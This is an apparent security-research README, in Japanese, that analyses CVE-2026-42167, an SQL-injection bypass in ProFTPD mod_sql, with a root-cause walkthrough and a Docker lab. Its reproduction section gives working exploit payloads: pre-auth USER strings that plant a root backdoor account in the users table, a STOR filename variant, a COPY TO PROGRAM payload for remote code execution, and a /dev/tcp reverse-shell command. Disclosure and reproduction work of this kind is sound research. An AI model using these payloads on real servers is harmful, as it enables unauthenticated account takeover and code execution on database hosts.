
CVE-2026-42167(ProFTPD mod_sql is_escaped_text() バイパス)に関する独立した再現、コードレベルの根本原因分析、および現実的な曝露レポート。
mod_sql SQLインジェクション / 認証バイパス / RCE独立した再現、コードレベルの根本原因のウォークスルー、そして
CVE-2026-42167 に関する率直な曝露分析 — ZeroPath Research が開示し、
ProFTPD 1.3.9a / 1.3.10rc1 で修正された ProFTPD の mod_sql ロギングパイプラインにおける
is_escaped_text() バイパス。
2026-04-29 に macOS / Apple Silicon 上の Docker でエンドツーエンドで構築・検証済み。
TL;DR — どれほど心配すべきかを判断する前に、現実的な曝露の全体像については 結論 を参照してください。これは デフォルトインストール のバグでは ありませんが、危険なクォーティングパターンは上流ドキュメントが使用を推奨するパターン であるため、
mod_sqlデプロイの大部分がこの問題を引き継いでいます。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (SQLインジェクション)、CWE-78 (OSコマンドインジェクション — PG COPY TO PROGRAM 経由) |
| 影響を受けるバージョン | ProFTPD ≤ 1.3.9 で mod_sql + SQLLog/SQLNamedQuery を使用し、フォーマット文字列が攻撃者が制御する変数をシングルクォート内で補間する構成 |
| 修正バージョン | 1.3.9a (af90843ba…) / 1.3.10rc1、コミット e6f728481 ("Issue #2052") を参照 |
| 固定した脆弱性コミット | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| 脆弱なファイル | contrib/mod_sql.c 741–758行 (is_escaped_text) および 777行 (sql_resolved_append_text) |
| 元の開示 | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| 公開PoC | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| リリースノート | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
contrib/mod_sql.c の is_escaped_text() ヒューリスティックmod_sql はロギングフォーマット変数 (%U、%{basename} など) を解決し、
各断片を sql_resolved_append_text() 経由でレンダリングされたSQLに追加します。
変数を '…' で既にラップしている管理者設定との後方互換性を維持するため、
この関数は sql_escapestring が必要かどうかを判断するために
is_escaped_text() を呼び出します:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
構造チェックは純粋に構造的なものであり、*「信頼できるコードによって既にエスケープされている」* と *「攻撃者が既にエスケープされているように見せかけて作成した」* を区別することはできません。
`'<no-internal-quotes>'` に一致するクライアント提供の値は `sql_escapestring` をスキップし、最終的なクエリにそのまま連結されます。
標準的で文書化された設定では、`%U` / `%{basename}` / `%m` を単一引用符で囲みます。```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
攻撃者が USER '<payload>'(先頭と末尾に引用符、内部に引用符なし)を送信すると、リゾルバは %U をエスケープせずに置換し、SQL 内に ''<payload>'' を生成します。空文字列リテラルが周囲の引用符を閉じ、<payload> が生の SQL として実行されます。PostgreSQL(PQexec)と SQLite(sqlite3_exec)ではスタッククエリがサポートされているため、<payload> は任意のステートメント列にできます。
SQLLog ERR_* は失敗したログイン時に発火し、%U は認証前に USER から設定されるため、この攻撃は完全に未認証で実行可能です。
e6f728481、"Issue #2052")sql_resolved_append_text() に already_escaped パラメータが追加されました。クライアント入力から値を解決する呼び出し元は FALSE を渡し、今後は無条件に sql_escapestring を経由します。is_escaped_text() ヒューリスティックは、正当な「設定に事前エスケープ済みの値がある」パスに対して引き続き適用されますが、攻撃者が制御するデータには適用されなくなります。
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- 両方のコンテナは `setup/docker-compose.yml` で起動します。
- `setup/proftpd.conf` は脆弱なログ設定を有効にします(§1 参照)。
- `setup/seed.sql` は `users`、`groups`、`activity_log`、`xfer_log`、
および `secrets` を作成し、さらに単一の正規 FTP ユーザー `ftpuser / ftppass` を追加します。
---
## 3. 再現 — コピー&ペースト
前提条件: Docker Desktop、Python 3.10+、git。(`uv` は任意です。PoC は stdlib のみで動作します。)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
The two interactive variants in the upstream repo
(preauth_user_rce.py, postauth_stor_rce.py) are unmodified and pop a
PTY-backed reverse shell. They use the same primitive as the marker
variant — just substitute the shell command for bash -i >& /dev/tcp/<host>/<port> 0>&1 and listen on <port> first.
USER command, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
仕組み:
1. **外側の引用符 + 内部に引用符がない**ことで
`is_escaped_text()` と一致 → エスケープがスキップされる。
2. 設定された `SQLNamedQuery` は `INSERT "'%U', '%r', '%m'" activity_log`
なので、レンダリングされたSQLは
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` になる — ただし
`<payload>` 自体が `'` で始まるため、実効クエリは
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')` となる。
3. `--` が末尾のフォーマットスロットをコメントアウトする。
4. `$$…$$` PostgreSQLのドル引用符により、`'` を一切使わずに文字列(`backdoor`、
`pwned123`、`/`、`/bin/bash`)を渡せる — `is_escaped_text()` の
バイパスを維持できる。
5. 失敗したログインで `SQLLog ERR_*` が発火 → `PQexec()` がスタックされた
`INSERT INTO users` を実行 → 認証テーブルにバックドアアカウントが存在するようになる。
### 認証後バックドア(`STOR` ファイル名、`%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
同じバイパスでも、トリガーが異なる。chr(47) = '/' が使われるのは、
FTPではファイル名内の/がディレクトリ区切り文字として解釈されるため、攻撃者は
ファイル名にリテラルな/を入れることができないからだ。chr()を使うことで、
バックドアアカウントはワイヤ上に/を送信せずにhomedir = '/'を取得できる。
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
`<shell-cmd>` は任意のコマンドです。PostgreSQL はこれを **データベース** ホスト上で `postgres` OS ユーザーとして `/bin/sh` 経由で実行します。`mod_sql` が使用する DB ロールがスーパーユーザー(または `pg_execute_server_program` のメンバー)である必要があります。これはシングルテナント展開では一般的であり、`POSTGRES_USER` 経由でロールが作成された場合の公式 `postgres` Docker イメージのデフォルトでもあります。
---
## 5. 再現中に取得された証拠